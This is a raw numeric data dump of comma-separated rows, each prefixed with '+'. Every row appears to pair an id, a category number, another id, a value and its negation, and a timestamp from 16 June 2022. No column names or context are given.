+7436,4,5181,10.86051944,-10.86051944,2022-06-16 09:42:08.684264+00 +7446,6,5184,6.964749945,-6.964749945,2022-06-16 09:42:10.869733+00 +7447,4,5206,15.77481309,-15.77481309,2022-06-16 09:42:11.702881+00 +6284,1,4774,15.40434139,-15.40434139,2022-06-16 09:28:28.379359+00 +6285,1,4775,15.33577337,-15.33577337,2022-06-16 09:28:28.382536+00 +6884,4,4957,11.42669331,-11.42669331,2022-06-16 09:36:09.070058+00 +6885,4,4989,11.31413334,-11.31413334,2022-06-16 09:36:09.073693+00 +6300,6,4765,10.75903558,-10.75903558,2022-06-16 09:28:52.925433+00 +6886,4,4973,11.29387067,-11.29387067,2022-06-16 09:36:09.07478+00 +6308,1,4704,11.92066032,-11.92066032,2022-06-16 09:28:58.380679+00 +7448,4,5142,15.70065425,-15.70065425,2022-06-16 09:42:11.704082+00 +7449,4,5207,15.66734697,-15.66734697,2022-06-16 09:42:11.704914+00 +9003,1,5784,15.42471592,-15.42471592,2022-06-16 10:02:58.536083+00 +8193,1,5288,21.30846277,-21.30846277,2022-06-16 09:51:41.380053+00 +7481,1,5245,13.89262364,-13.89262364,2022-06-16 09:42:52.490358+00 +7482,1,5213,13.93358429,-13.93358429,2022-06-16 09:42:52.493719+00 +6928,1,4971,10.36494619,-10.36494619,2022-06-16 09:36:37.437644+00 +6929,1,4955,10.07903643,-10.07903643,2022-06-16 09:36:37.441221+00 +6405,4,4781,11.95915228,-11.95915228,2022-06-16 09:30:07.937669+00 +6406,4,4797,11.93457408,-11.93457408,2022-06-16 09:30:07.938696+00 +7149,2,5056,7.588907657,-7.588907657,2022-06-16 09:39:04.558717+00 +7150,2,4792,17.68187795,-17.68187795,2022-06-16 09:39:04.562146+00 +7151,2,4856,17.60769615,-17.60769615,2022-06-16 09:39:04.563001+00 +7152,2,4920,17.53379791,-17.53379791,2022-06-16 09:39:04.564297+00 +7153,2,4984,17.46018479,-17.46018479,2022-06-16 09:39:04.565167+00 +13813,6,7101,6.649514547,-6.649514547,2022-06-16 10:40:56.031185+00 +7925,4,5360,2.887042004,-2.887042004,2022-06-16 09:48:07.119725+00 +7926,4,5376,4.242341117,-4.242341117,2022-06-16 09:48:07.124205+00 +7954,2,5386,14.51026327,-14.51026327,2022-06-16 09:48:27.19259+00 +22533,4,8490,12.81800367,-12.81800367,2022-06-16 11:34:55.147224+00 +7244,4,5104,3.237310501,-3.237310501,2022-06-16 09:40:05.840918+00 +7245,4,5120,4.456632156,-4.456632156,2022-06-16 09:40:05.844829+00 +6419,6,4845,10.54626414,-10.54626414,2022-06-16 09:30:11.006703+00 +7267,1,5182,14.62115741,-14.62115741,2022-06-16 09:40:16.434886+00 +7268,1,5150,14.33350825,-14.33350825,2022-06-16 09:40:16.438136+00 +7269,1,5151,14.29712364,-14.29712364,2022-06-16 09:40:16.439024+00 +6702,7,4722,16.3290912,-16.3290912,2022-06-16 09:33:27.144227+00 +7270,1,5183,14.44787541,-14.44787541,2022-06-16 09:40:16.439845+00 +7271,1,5083,9.778850693,-9.778850693,2022-06-16 09:40:16.440693+00 +8781,4,5790,14.21458882,-14.21458882,2022-06-16 10:00:16.051428+00 +8782,4,5791,14.15121875,-14.15121875,2022-06-16 10:00:16.05446+00 +6742,4,4912,3.53415183,-3.53415183,2022-06-16 09:34:05.449005+00 +6743,4,4928,4.519783876,-4.519783876,2022-06-16 09:34:05.455628+00 +9720,4,6110,13.29063532,-13.29063532,2022-06-16 10:10:15.998484+00 +9721,4,6047,13.35904634,-13.35904634,2022-06-16 10:10:16.001946+00 +6771,6,4928,6.971910266,-6.971910266,2022-06-16 09:34:25.967677+00 +7337,6,5115,10.20476697,-10.20476697,2022-06-16 09:40:54.15214+00 +11618,4,6592,3.9380564,-3.9380564,2022-06-16 10:26:06.921966+00 +8864,2,5739,10.66782478,-10.66782478,2022-06-16 10:01:14.428042+00 +9774,6,6075,8.407432488,-8.407432488,2022-06-16 10:10:48.780755+00 +8879,6,5760,6.560293941,-6.560293941,2022-06-16 10:01:18.55589+00 +8100,2,5450,14.30238916,-14.30238916,2022-06-16 09:50:21.674115+00 +6831,2,4912,6.018859587,-6.018859587,2022-06-16 09:35:04.562576+00 +7406,3,5184,11.70694919,-11.70694919,2022-06-16 09:41:54.540501+00 +6846,2,4891,12.43575879,-12.43575879,2022-06-16 09:35:09.551708+00 +6853,1,4896,11.58921304,-11.58921304,2022-06-16 09:35:28.435172+00 +6860,1,4888,16.56171557,-16.56171557,2022-06-16 09:35:37.434378+00 +9795,2,6111,14.27882083,-14.27882083,2022-06-16 10:11:04.687199+00 +11619,4,6576,1.845441953,-1.845441953,2022-06-16 10:26:06.92764+00 +9812,2,6059,10.01554697,-10.01554697,2022-06-16 10:11:14.435684+00 +8143,2,5440,7.17781943,-7.17781943,2022-06-16 09:51:04.528637+00 +8155,2,5435,11.1207828,-11.1207828,2022-06-16 09:51:14.563956+00 +13850,2,7094,14.34408617,-14.34408617,2022-06-16 10:41:04.875919+00 +7483,1,5229,13.82967849,-13.82967849,2022-06-16 09:42:52.49456+00 +22534,4,8554,12.75499861,-12.75499861,2022-06-16 11:34:55.150494+00 +6920,6,4992,6.865847219,-6.865847219,2022-06-16 09:36:16.99749+00 +6930,1,5022,14.82160318,-14.82160318,2022-06-16 09:36:37.44222+00 +6931,1,5023,14.79040464,-14.79040464,2022-06-16 09:36:37.443041+00 +6932,1,4987,10.16205218,-10.16205218,2022-06-16 09:36:37.443859+00 +8194,7,5194,15.64889232,-15.64889232,2022-06-16 09:51:41.887089+00 +6940,6,5021,10.04362101,-10.04362101,2022-06-16 09:36:47.303533+00 +8980,1,5824,6.043737546,-6.043737546,2022-06-16 10:02:46.521148+00 +8981,1,5808,3.992460375,-3.992460375,2022-06-16 10:02:46.524883+00 +7516,1,5215,14.13469522,-14.13469522,2022-06-16 09:43:01.461333+00 +7517,1,5214,14.16468123,-14.16468123,2022-06-16 09:43:01.464951+00 +7522,2,5168,5.414997212,-5.414997212,2022-06-16 09:43:04.462308+00 +10718,6,6331,8.171684821,-8.171684821,2022-06-16 10:19:04.663567+00 +8241,1,5432,16.5731062,-16.5731062,2022-06-16 09:52:37.541885+00 +6960,6,5053,9.925692017,-9.925692017,2022-06-16 09:36:55.657323+00 +8249,6,5483,9.531248049,-9.531248049,2022-06-16 09:52:43.862684+00 +8255,1,5472,10.69423171,-10.69423171,2022-06-16 09:52:46.518063+00 +6966,2,4976,5.980355811,-5.980355811,2022-06-16 09:37:04.423917+00 +8257,2,5562,15.25073895,-15.25073895,2022-06-16 09:52:58.121895+00 +9011,4,5528,11.49507863,-11.49507863,2022-06-16 10:03:03.420932+00 +6971,2,4992,7.465864336,-7.465864336,2022-06-16 09:37:04.536565+00 +16583,4,7448,10.72878737,-10.72878737,2022-06-16 11:00:20.232609+00 +8282,2,5499,10.97789226,-10.97789226,2022-06-16 09:53:14.551243+00 +9027,2,5854,15.27386829,-15.27386829,2022-06-16 10:03:04.660789+00 +10759,2,6315,9.691716683,-9.691716683,2022-06-16 10:19:14.587184+00 +6982,1,4960,11.47729811,-11.47729811,2022-06-16 09:37:13.436109+00 +9904,6,6125,8.184622156,-8.184622156,2022-06-16 10:12:18.521896+00 +9905,6,6189,8.155642981,-8.155642981,2022-06-16 10:12:18.52485+00 +7584,7,5034,16.21097918,-16.21097918,2022-06-16 09:43:39.750727+00 +11726,1,6623,10.40984667,-10.40984667,2022-06-16 10:27:01.663497+00 +7597,3,5248,11.56174106,-11.56174106,2022-06-16 09:44:01.907388+00 +9080,1,5752,15.91960053,-15.91960053,2022-06-16 10:03:52.54912+00 +9954,6,6175,14.66036809,-14.66036809,2022-06-16 10:12:48.175411+00 +6998,3,4682,16.53828879,-16.53828879,2022-06-16 09:37:24.07208+00 +6999,3,4874,16.459749,-16.459749,2022-06-16 09:37:24.075388+00 +7000,3,4938,16.38159309,-16.38159309,2022-06-16 09:37:24.076261+00 +11727,1,6654,12.05829634,-12.05829634,2022-06-16 10:27:01.666712+00 +11728,1,6647,12.92860187,-12.92860187,2022-06-16 10:27:01.667629+00 +7006,3,5056,11.60927927,-11.60927927,2022-06-16 09:37:39.898806+00 +8346,4,5549,10.1864164,-10.1864164,2022-06-16 09:54:08.900656+00 +7620,6,5248,6.860253846,-6.860253846,2022-06-16 09:44:07.409699+00 +8347,4,5565,10.16832403,-10.16832403,2022-06-16 09:54:08.903988+00 +7629,6,5309,9.477464767,-9.477464767,2022-06-16 09:44:09.496348+00 +9982,4,5848,11.32967647,-11.32967647,2022-06-16 10:12:58.649069+00 +7641,4,5227,7.678777818,-7.678777818,2022-06-16 09:44:20.412013+00 +7642,4,5243,7.485233215,-7.485233215,2022-06-16 09:44:20.417765+00 +8357,4,5598,14.82165592,-14.82165592,2022-06-16 09:54:16.307143+00 +8358,4,5534,14.75232404,-14.75232404,2022-06-16 09:54:16.310501+00 +7655,2,5290,15.15621706,-15.15621706,2022-06-16 09:44:33.241672+00 +8359,4,5599,14.75563318,-14.75563318,2022-06-16 09:54:16.311448+00 +8360,4,5535,14.68677409,-14.68677409,2022-06-16 09:54:16.312221+00 +7670,1,5311,14.25511361,-14.25511361,2022-06-16 09:44:52.489545+00 +7671,1,5278,14.03421363,-14.03421363,2022-06-16 09:44:52.493623+00 +7041,6,5040,5.254466446,-5.254466446,2022-06-16 09:38:05.833723+00 +7672,1,5279,13.97455662,-13.97455662,2022-06-16 09:44:52.494657+00 +8368,7,5354,15.61945515,-15.61945515,2022-06-16 09:54:36.615932+00 +9125,4,5872,2.513973973,-2.513973973,2022-06-16 10:04:05.722666+00 +7045,6,5101,9.888116891,-9.888116891,2022-06-16 09:38:05.942805+00 +7046,4,5040,3.286165445,-3.286165445,2022-06-16 09:38:05.953557+00 +7047,4,5056,4.503028276,-4.503028276,2022-06-16 09:38:05.957762+00 +9126,4,5888,3.896844913,-3.896844913,2022-06-16 10:04:05.72681+00 +11729,1,6639,13.15914798,-13.15914798,2022-06-16 10:27:01.668439+00 +11730,1,6646,12.98790276,-12.98790276,2022-06-16 10:27:01.669202+00 +10835,1,6384,3.034263362,-3.034263362,2022-06-16 10:20:10.641953+00 +7052,6,5056,7.001630977,-7.001630977,2022-06-16 09:38:06.100606+00 +9163,4,5942,15.00438308,-15.00438308,2022-06-16 10:04:30.197695+00 +8406,6,5547,9.409030609,-9.409030609,2022-06-16 09:55:05.561317+00 +10033,2,6139,9.686541757,-9.686541757,2022-06-16 10:13:14.620627+00 +9179,1,5867,8.579786596,-8.579786596,2022-06-16 10:04:58.570521+00 +7057,6,5117,9.871258076,-9.871258076,2022-06-16 09:38:08.141801+00 +7058,4,5037,11.16498852,-11.16498852,2022-06-16 09:38:08.849497+00 +7059,4,5053,11.14368081,-11.14368081,2022-06-16 09:38:08.85284+00 +7060,4,5021,11.23667109,-11.23667109,2022-06-16 09:38:08.853696+00 +9180,1,5883,8.376424468,-8.376424468,2022-06-16 10:04:58.573871+00 +7154,4,5079,15.96052744,-15.96052744,2022-06-16 09:39:05.315746+00 +7170,6,5085,9.883019245,-9.883019245,2022-06-16 09:39:12.318265+00 +12641,2,6814,11.73822487,-11.73822487,2022-06-16 10:33:04.698723+00 +7927,4,5357,10.52615112,-10.52615112,2022-06-16 09:48:09.39067+00 +6424,6,4861,10.52684642,-10.52684642,2022-06-16 09:30:13.111913+00 +6425,1,4822,15.3279203,-15.3279203,2022-06-16 09:30:13.378248+00 +6426,1,4863,15.29773786,-15.29773786,2022-06-16 09:30:13.381353+00 +6427,1,4823,15.22684855,-15.22684855,2022-06-16 09:30:13.382143+00 +6428,1,4862,15.40687206,-15.40687206,2022-06-16 09:30:13.382882+00 +6429,1,4830,15.25939925,-15.25939925,2022-06-16 09:30:13.383715+00 +6430,1,4600,17.95411733,-17.95411733,2022-06-16 09:30:16.387805+00 +6431,4,4795,8.245312217,-8.245312217,2022-06-16 09:30:20.616+00 +6432,4,4763,8.225672939,-8.225672939,2022-06-16 09:30:20.619207+00 +6433,4,4779,8.475203965,-8.475203965,2022-06-16 09:30:20.620175+00 +7928,4,5373,10.5068184,-10.5068184,2022-06-16 09:48:09.394006+00 +13814,1,7008,9.093972425,-9.093972425,2022-06-16 10:40:58.736734+00 +7976,6,5421,9.257386409,-9.257386409,2022-06-16 09:48:56.380933+00 +7246,1,5181,14.10886064,-14.10886064,2022-06-16 09:40:07.438961+00 +6438,6,4784,5.703119271,-5.703119271,2022-06-16 09:30:22.905103+00 +6614,6,4859,10.74338178,-10.74338178,2022-06-16 09:32:27.49235+00 +7247,1,5149,14.17501075,-14.17501075,2022-06-16 09:40:07.442411+00 +7272,4,5099,7.886315603,-7.886315603,2022-06-16 09:40:21.506905+00 +7273,4,5115,7.787294103,-7.787294103,2022-06-16 09:40:21.510359+00 +6443,6,4800,7.071643001,-7.071643001,2022-06-16 09:30:23.119791+00 +6444,4,4536,12.75843853,-12.75843853,2022-06-16 09:30:25.938981+00 +7274,4,5083,7.620976688,-7.620976688,2022-06-16 09:40:21.511246+00 +8783,1,5805,12.56073598,-12.56073598,2022-06-16 10:00:16.546726+00 +6447,3,4656,10.13823628,-10.13823628,2022-06-16 09:30:28.792814+00 +6448,3,4720,10.0803697,-10.0803697,2022-06-16 09:30:28.796226+00 +6449,3,4784,10.02294447,-10.02294447,2022-06-16 09:30:28.797187+00 +6450,3,4848,9.965956799,-9.965956799,2022-06-16 09:30:28.797985+00 +6451,4,4600,12.71226183,-12.71226183,2022-06-16 09:30:33.660914+00 +6452,1,4784,6.242386195,-6.242386195,2022-06-16 09:30:40.380787+00 +6453,1,4800,7.819760547,-7.819760547,2022-06-16 09:30:40.384277+00 +6454,4,4664,12.66630879,-12.66630879,2022-06-16 09:30:43.425059+00 +7299,6,5181,9.674420868,-9.674420868,2022-06-16 09:40:32.657826+00 +7993,1,5376,6.890111487,-6.890111487,2022-06-16 09:49:01.537344+00 +7312,1,5104,5.359446763,-5.359446763,2022-06-16 09:40:46.412198+00 +7313,1,5120,7.182461234,-7.182461234,2022-06-16 09:40:46.415602+00 +7994,1,5360,4.819573377,-4.819573377,2022-06-16 09:49:01.540689+00 +8010,6,5355,9.781885842,-9.781885842,2022-06-16 09:49:11.192282+00 +6744,2,4922,16.36208547,-16.36208547,2022-06-16 09:34:07.124476+00 +7327,6,5083,10.05583285,-10.05583285,2022-06-16 09:40:53.716532+00 +7338,4,4960,7.407846872,-7.407846872,2022-06-16 09:40:55.452394+00 +6772,2,4986,16.28649518,-16.28649518,2022-06-16 09:34:29.967485+00 +6465,1,4768,11.80864198,-11.80864198,2022-06-16 09:30:46.357946+00 +7351,2,5120,7.405430439,-7.405430439,2022-06-16 09:41:04.561685+00 +7367,2,5083,11.82308401,-11.82308401,2022-06-16 09:41:14.543183+00 +8025,2,5355,11.49873361,-11.49873361,2022-06-16 09:49:14.539211+00 +6810,6,4923,10.58575262,-10.58575262,2022-06-16 09:34:54.895591+00 +8784,1,5821,12.53346404,-12.53346404,2022-06-16 10:00:16.550176+00 +9722,6,6110,15.04260295,-15.04260295,2022-06-16 10:10:16.434319+00 +11620,4,6573,8.403422002,-8.403422002,2022-06-16 10:26:08.858092+00 +11621,4,6589,8.393036916,-8.393036916,2022-06-16 10:26:08.862107+00 +8847,2,5790,15.58661101,-15.58661101,2022-06-16 10:01:04.617885+00 +8116,7,5424,13.16004934,-13.16004934,2022-06-16 09:50:38.200071+00 +6861,7,4938,16.52249493,-16.52249493,2022-06-16 09:35:39.918095+00 +8117,7,5488,13.05367916,-13.05367916,2022-06-16 09:50:38.203013+00 +6872,1,4991,14.93041689,-14.93041689,2022-06-16 09:35:43.408937+00 +6873,1,4990,15.00177663,-15.00177663,2022-06-16 09:35:43.410261+00 +9775,2,6090,12.6953286,-12.6953286,2022-06-16 10:10:49.498116+00 +8144,4,5408,7.17187396,-7.17187396,2022-06-16 09:51:05.24201+00 +8156,1,5503,13.8906403,-13.8906403,2022-06-16 09:51:16.544053+00 +8157,1,5502,14.09769468,-14.09769468,2022-06-16 09:51:16.547381+00 +10665,2,6333,12.03014485,-12.03014485,2022-06-16 10:18:19.424191+00 +6915,6,4976,5.473041234,-5.473041234,2022-06-16 09:36:16.786869+00 +6921,4,4955,7.89369463,-7.89369463,2022-06-16 09:36:21.731102+00 +6922,4,4971,8.112191148,-8.112191148,2022-06-16 09:36:21.734773+00 +6923,4,4987,7.958176672,-7.958176672,2022-06-16 09:36:21.735693+00 +6933,2,5050,16.06474101,-16.06474101,2022-06-16 09:36:37.914186+00 +8173,1,5160,21.46006782,-21.46006782,2022-06-16 09:51:26.351443+00 +8174,1,5224,21.38421991,-21.38421991,2022-06-16 09:51:26.352702+00 +11656,6,6576,3.85039278,-3.85039278,2022-06-16 10:26:16.271654+00 +8190,3,5306,16.18940505,-16.18940505,2022-06-16 09:51:34.758937+00 +7534,2,5163,12.03281515,-12.03281515,2022-06-16 09:43:14.502316+00 +6955,6,5037,9.942754174,-9.942754174,2022-06-16 09:36:53.567692+00 +8191,3,5370,16.1145767,-16.1145767,2022-06-16 09:51:34.760183+00 +8192,3,5434,16.04011537,-16.04011537,2022-06-16 09:51:34.761026+00 +6961,2,4938,15.62695474,-15.62695474,2022-06-16 09:36:59.312863+00 +19348,2,8176,1.964355023,-1.964355023,2022-06-16 11:17:04.446679+00 +20963,3,8576,8.877130532,-8.877130532,2022-06-16 11:26:54.90606+00 +11693,2,6589,11.27969161,-11.27969161,2022-06-16 10:26:24.517786+00 +9885,2,6136,16.6607323,-16.6607323,2022-06-16 10:12:09.455709+00 +8242,7,5450,15.43076449,-15.43076449,2022-06-16 09:52:39.028584+00 +9906,2,5869,12.85473795,-12.85473795,2022-06-16 10:12:19.325687+00 +6976,2,4955,12.32676314,-12.32676314,2022-06-16 09:37:09.432193+00 +8258,1,5549,13.1199179,-13.1199179,2022-06-16 09:52:58.552388+00 +8259,1,5565,13.09029122,-13.09029122,2022-06-16 09:52:58.55556+00 +6981,2,4971,12.59416279,-12.59416279,2022-06-16 09:37:09.546048+00 +7585,3,4922,16.67458523,-16.67458523,2022-06-16 09:43:54.370609+00 +7586,3,4986,16.59701213,-16.59701213,2022-06-16 09:43:54.373886+00 +6987,6,4955,10.29748854,-10.29748854,2022-06-16 09:37:20.914006+00 +7587,3,5050,16.51980592,-16.51980592,2022-06-16 09:43:54.374732+00 +7588,3,5114,16.44296743,-16.44296743,2022-06-16 09:43:54.375608+00 +7589,3,5178,16.36649744,-16.36649744,2022-06-16 09:43:54.376513+00 +9907,2,5933,12.79072485,-12.79072485,2022-06-16 10:12:19.329314+00 +9908,2,5997,12.72712271,-12.72712271,2022-06-16 10:12:19.330162+00 +9015,7,5770,15.03587914,-15.03587914,2022-06-16 10:03:04.39024+00 +7606,4,5248,4.276432299,-4.276432299,2022-06-16 09:44:05.585911+00 +7607,4,5232,3.074991168,-3.074991168,2022-06-16 09:44:05.589445+00 +7007,7,4720,14.49040139,-14.49040139,2022-06-16 09:37:47.109472+00 +7008,7,4784,14.37836312,-14.37836312,2022-06-16 09:37:47.112878+00 +7009,7,4848,14.26729059,-14.26729059,2022-06-16 09:37:47.113714+00 +7010,7,4912,14.15717831,-14.15717831,2022-06-16 09:37:47.114564+00 +7011,7,4976,14.04802065,-14.04802065,2022-06-16 09:37:47.11541+00 +7012,7,5040,13.93981184,-13.93981184,2022-06-16 09:37:47.116213+00 +7612,6,5232,5.068420685,-5.068420685,2022-06-16 09:44:07.160914+00 +9909,2,6061,12.66392945,-12.66392945,2022-06-16 10:12:19.330945+00 +9045,4,5592,11.47685053,-11.47685053,2022-06-16 10:03:10.871957+00 +9057,4,5656,11.43678754,-11.43678754,2022-06-16 10:03:16.991853+00 +9910,2,6125,12.60114295,-12.60114295,2022-06-16 10:12:19.331771+00 +9081,4,5728,7.007855779,-7.007855779,2022-06-16 10:04:00.606384+00 +8322,7,5546,15.77025557,-15.77025557,2022-06-16 09:53:56.065549+00 +7643,1,5248,6.944752692,-6.944752692,2022-06-16 09:44:25.486423+00 +7644,1,5232,5.123048874,-5.123048874,2022-06-16 09:44:25.489893+00 +9911,2,5885,12.75627382,-12.75627382,2022-06-16 10:12:19.332583+00 +9912,2,5949,12.69320948,-12.69320948,2022-06-16 10:12:19.33335+00 +7656,1,5309,13.68367145,-13.68367145,2022-06-16 09:44:43.489846+00 +7657,1,5293,13.65327846,-13.65327846,2022-06-16 09:44:43.493839+00 +9913,2,6013,12.6305491,-12.6305491,2022-06-16 10:12:19.333962+00 +7155,4,5087,15.77696434,-15.77696434,2022-06-16 09:39:08.422858+00 +7171,3,4842,16.65401569,-16.65401569,2022-06-16 09:39:14.159057+00 +7172,3,4906,16.57550216,-16.57550216,2022-06-16 09:39:14.162296+00 +7173,3,5034,16.49736563,-16.49736563,2022-06-16 09:39:14.163203+00 +7911,6,5360,4.809757138,-4.809757138,2022-06-16 09:48:02.753534+00 +7929,4,5270,15.41795354,-15.41795354,2022-06-16 09:48:11.47895+00 +7930,4,5334,15.34566599,-15.34566599,2022-06-16 09:48:11.482193+00 +7069,2,4810,15.43709806,-15.43709806,2022-06-16 09:38:10.181523+00 +7931,4,5271,15.38529216,-15.38529216,2022-06-16 09:48:11.483208+00 +7932,4,5335,15.31323819,-15.31323819,2022-06-16 09:48:11.484184+00 +7248,4,5117,11.00932565,-11.00932565,2022-06-16 09:40:08.837028+00 +7249,4,5101,11.02297669,-11.02297669,2022-06-16 09:40:08.840522+00 +7250,4,5085,11.05834163,-11.05834163,2022-06-16 09:40:08.841439+00 +7933,4,5399,15.24156512,-15.24156512,2022-06-16 09:48:11.485151+00 +13815,3,7021,13.6185248,-13.6185248,2022-06-16 10:40:59.993622+00 +7300,2,5130,15.25242302,-15.25242302,2022-06-16 09:40:34.328893+00 +7311,4,4832,7.423639893,-7.423639893,2022-06-16 09:40:41.798079+00 +7314,4,4896,7.400916539,-7.400916539,2022-06-16 09:40:48.207638+00 +22535,4,8618,12.69239413,-12.69239413,2022-06-16 11:34:55.15142+00 +11622,4,6582,14.49698347,-14.49698347,2022-06-16 10:26:10.984013+00 +7339,2,5178,15.9267554,-15.9267554,2022-06-16 09:40:56.925655+00 +7352,4,5088,7.362694771,-7.362694771,2022-06-16 09:41:10.187895+00 +7368,4,4824,11.65913763,-11.65913763,2022-06-16 09:41:19.324975+00 +8812,6,5805,8.675934249,-8.675934249,2022-06-16 10:00:31.314968+00 +9754,6,6064,4.177856726,-4.177856726,2022-06-16 10:10:34.792598+00 +7396,3,4810,15.99705352,-15.99705352,2022-06-16 09:41:49.250631+00 +7397,3,5002,15.92109729,-15.92109729,2022-06-16 09:41:49.25405+00 +7398,3,5066,15.8455296,-15.8455296,2022-06-16 09:41:49.255017+00 +9776,1,6080,5.798006686,-5.798006686,2022-06-16 10:11:01.551451+00 +9777,1,6064,3.47202361,-3.47202361,2022-06-16 10:11:01.554721+00 +11623,4,6646,14.43134705,-14.43134705,2022-06-16 10:26:10.987724+00 +10666,4,6331,6.047984632,-6.047984632,2022-06-16 10:18:20.939733+00 +10667,4,6315,6.187876474,-6.187876474,2022-06-16 10:18:20.943025+00 +8118,2,5482,14.49800682,-14.49800682,2022-06-16 09:50:40.863246+00 +7475,2,5194,14.8884137,-14.8884137,2022-06-16 09:42:47.55229+00 +11624,4,6647,14.40615911,-14.40615911,2022-06-16 10:26:10.988605+00 +10720,2,6366,13.39317735,-13.39317735,2022-06-16 10:19:04.699553+00 +8967,6,5819,8.72941812,-8.72941812,2022-06-16 10:02:34.441521+00 +9886,4,6174,13.08840669,-13.08840669,2022-06-16 10:12:10.86167+00 +9887,4,6111,13.156686,-13.156686,2022-06-16 10:12:10.865207+00 +8196,3,5290,15.15109827,-15.15109827,2022-06-16 09:51:49.748045+00 +8197,3,5354,15.08036247,-15.08036247,2022-06-16 09:51:49.751454+00 +8198,3,5418,15.01000561,-15.01000561,2022-06-16 09:51:49.752326+00 +7542,2,5147,11.67055313,-11.67055313,2022-06-16 09:43:14.665719+00 +7547,6,5147,9.858999515,-9.858999515,2022-06-16 09:43:15.782798+00 +7552,6,5163,10.12689268,-10.12689268,2022-06-16 09:43:16.033336+00 +8199,3,5258,14.7111078,-14.7111078,2022-06-16 09:51:49.753127+00 +8200,3,5322,14.64242737,-14.64242737,2022-06-16 09:51:49.753984+00 +8201,3,5386,14.57412553,-14.57412553,2022-06-16 09:51:49.754824+00 +9888,4,6175,13.09551664,-13.09551664,2022-06-16 10:12:10.866271+00 +9914,2,6077,12.56829059,-12.56829059,2022-06-16 10:12:19.334662+00 +8233,6,5488,4.634395394,-4.634395394,2022-06-16 09:52:25.113678+00 +7590,7,5098,16.32758617,-16.32758617,2022-06-16 09:43:59.168059+00 +8243,1,5488,4.503560158,-4.503560158,2022-06-16 09:52:40.546523+00 +8244,1,5504,6.609538282,-6.609538282,2022-06-16 09:52:40.550086+00 +9915,2,6141,12.50643185,-12.50643185,2022-06-16 10:12:19.33538+00 +11625,4,6575,14.67414432,-14.67414432,2022-06-16 10:26:10.98949+00 +9058,1,5593,16.77050983,-16.77050983,2022-06-16 10:03:22.547408+00 +9059,1,5609,16.73110914,-16.73110914,2022-06-16 10:03:22.550808+00 +7622,6,5293,9.516716834,-9.516716834,2022-06-16 09:44:07.458219+00 +9060,1,5665,16.69186703,-16.69186703,2022-06-16 10:03:22.55174+00 +9061,1,5625,16.65278274,-16.65278274,2022-06-16 10:03:22.552587+00 +9062,1,5649,16.61385556,-16.61385556,2022-06-16 10:03:22.553365+00 +11626,4,6639,14.6081413,-14.6081413,2022-06-16 10:26:10.990265+00 +11627,4,6654,13.41076172,-13.41076172,2022-06-16 10:26:10.991121+00 +7649,6,5227,10.06525143,-10.06525143,2022-06-16 09:44:26.732816+00 +11628,4,6591,12.93492858,-12.93492858,2022-06-16 10:26:10.992048+00 +9968,3,6192,7.174162824,-7.174162824,2022-06-16 10:12:49.604384+00 +7662,1,5270,14.24212951,-14.24212951,2022-06-16 09:44:46.487942+00 +7663,1,5227,9.760611111,-9.760611111,2022-06-16 09:44:46.491391+00 +7664,1,5243,9.529602633,-9.529602633,2022-06-16 09:44:46.49246+00 +7665,1,5271,14.21368185,-14.21368185,2022-06-16 09:44:46.493346+00 +9110,6,5872,4.331431867,-4.331431867,2022-06-16 10:04:04.954647+00 +7673,2,5306,15.67713508,-15.67713508,2022-06-16 09:44:54.112612+00 +9979,1,6144,5.688807706,-5.688807706,2022-06-16 10:12:52.530189+00 +9980,1,6128,3.398396397,-3.398396397,2022-06-16 10:12:52.531546+00 +7682,2,5232,5.35438743,-5.35438743,2022-06-16 09:45:04.441274+00 +8348,7,5482,15.69465673,-15.69465673,2022-06-16 09:54:13.817334+00 +11629,4,6655,12.87663778,-12.87663778,2022-06-16 10:26:10.992864+00 +8361,1,5416,21.14656471,-21.14656471,2022-06-16 09:54:19.545398+00 +11630,4,6622,11.64827733,-11.64827733,2022-06-16 10:26:10.993612+00 +8369,1,5536,10.59317369,-10.59317369,2022-06-16 09:54:43.551344+00 +11631,4,6623,11.6329223,-11.6329223,2022-06-16 10:26:10.994396+00 +9154,4,5943,15.00781153,-15.00781153,2022-06-16 10:04:16.038286+00 +9155,4,5918,14.00236213,-14.00236213,2022-06-16 10:04:16.03967+00 +9164,1,5872,3.903442877,-3.903442877,2022-06-16 10:04:37.550272+00 +7704,4,5152,7.34892049,-7.34892049,2022-06-16 09:45:08.759052+00 +9165,1,5888,5.926400055,-5.926400055,2022-06-16 10:04:37.553527+00 +9173,6,5867,8.848044812,-8.848044812,2022-06-16 10:04:55.311216+00 +9181,1,5943,13.56739546,-13.56739546,2022-06-16 10:05:01.548737+00 +8411,6,5563,9.187709799,-9.187709799,2022-06-16 09:55:05.809821+00 +7709,2,5227,11.82547639,-11.82547639,2022-06-16 09:45:14.411198+00 +9182,1,5918,12.5533907,-12.5533907,2022-06-16 10:05:01.553029+00 +9183,1,5942,13.52743893,-13.52743893,2022-06-16 10:05:01.554062+00 +9184,1,5919,12.47591753,-12.47591753,2022-06-16 10:05:01.555109+00 +10021,6,6139,8.303314869,-8.303314869,2022-06-16 10:13:10.290787+00 +7714,2,5243,11.56350137,-11.56350137,2022-06-16 09:45:14.529053+00 +10836,1,6400,5.886657656,-5.886657656,2022-06-16 10:20:10.645345+00 +10854,6,6379,8.29761605,-8.29761605,2022-06-16 10:20:18.49082+00 +9214,2,5926,17.8970821,-17.8970821,2022-06-16 10:05:04.997347+00 +11632,4,6559,11.58103563,-11.58103563,2022-06-16 10:26:10.995152+00 +9222,1,5848,15.23751007,-15.23751007,2022-06-16 10:05:07.548436+00 +21021,2,8496,1.519373038,0,2022-06-16 11:27:04.471009+00 +10876,1,6371,18.50726097,-18.50726097,2022-06-16 10:20:25.583989+00 +10877,1,6355,13.55710977,-13.55710977,2022-06-16 10:20:25.585259+00 +10097,4,6189,9.009303224,-9.009303224,2022-06-16 10:14:08.240769+00 +10098,4,6205,8.996883505,-8.996883505,2022-06-16 10:14:08.24418+00 +8463,4,5632,4.151876732,-4.151876732,2022-06-16 09:56:06.187734+00 +8464,4,5616,2.74761954,-2.74761954,2022-06-16 09:56:06.191303+00 +11694,2,6650,14.1905802,-14.1905802,2022-06-16 10:26:27.059254+00 +8470,4,5613,10.07637024,-10.07637024,2022-06-16 09:56:09.818891+00 +8471,4,5629,10.05874497,-10.05874497,2022-06-16 09:56:09.820209+00 +11731,1,6638,13.36222432,-13.36222432,2022-06-16 10:27:01.670174+00 +11732,1,6655,11.52628037,-11.52628037,2022-06-16 10:27:01.671013+00 +11733,1,6622,10.34044513,-10.34044513,2022-06-16 10:27:01.671613+00 +11755,2,6638,15.62923351,-15.62923351,2022-06-16 10:27:04.83061+00 +10152,6,6187,8.412817397,-8.412817397,2022-06-16 10:14:20.525187+00 